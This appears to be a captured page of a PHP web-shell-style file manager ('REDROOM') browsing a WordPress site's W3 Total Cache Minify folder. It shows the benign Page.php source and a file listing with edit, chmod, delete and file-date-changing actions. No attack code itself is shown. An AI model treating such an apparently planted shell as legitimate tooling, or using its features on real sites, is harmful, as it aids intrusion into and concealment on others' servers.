REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.87 KB
Close
/home/nshryvcy/blissfulnepal.com/wp-content/plugins/w3-total-cache/lib/Minify/Minify/Controller/Page.php
Text
Base64
<?php namespace W3TCL\Minify; /** * Class Minify_Controller_Page * @package Minify */ /** * Controller class for serving a single HTML page * * @link http://code.google.com/p/minify/source/browse/trunk/web/examples/1/index.php#59 * @package Minify * @author Stephen Clay <steve@mrclay.org> */ class Minify_Controller_Page extends Minify_Controller_Base { /** * Set up source of HTML content * * @param array $options controller and Minify options * @return array Minify options * * Controller options: * * 'content': (required) HTML markup * * 'id': (required) id of page (string for use in server-side caching) * * 'lastModifiedTime': timestamp of when this content changed. This * is recommended to allow both server and client-side caching. * * 'minifyAll': should all CSS and Javascript blocks be individually * minified? (default false) * * @todo Add 'file' option to read HTML file. */ public function setupSources($options) { if (isset($options['file'])) { $sourceSpec = array( 'filepath' => $options['file'] ); $f = $options['file']; } else { // strip controller options $sourceSpec = array( 'content' => $options['content'] ,'id' => $options['id'] ); $f = $options['id']; unset($options['content'], $options['id']); } // something like "builder,index.php" or "directory,file.html" $this->selectionId = strtr(substr($f, 1 + strlen(dirname(dirname($f)))), '/\\', ',,'); if (isset($options['minifyAll'])) { // this will be the 2nd argument passed to Minify_HTML::minify() $sourceSpec['minifyOptions'] = array( 'cssMinifier' => array('\W3TCL\Minify\Minify_CSS', 'minify') ,'jsMinifier' => array('\W3TCL\Minify\JSMin', 'minify') ); unset($options['minifyAll']); } $this->sources[] = new Minify_Source($sourceSpec); $options['contentType'] = Minify::TYPE_HTML; return $options; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 7
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Base.php
5.96 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Files.php
2.30 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Groups.php
2.99 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index.html
0 B
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
MinApp.php
8.53 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Page.php
1.87 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Version1.php
4.24 KB
lrw-r--r--
2026-04-03 01:36:05
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).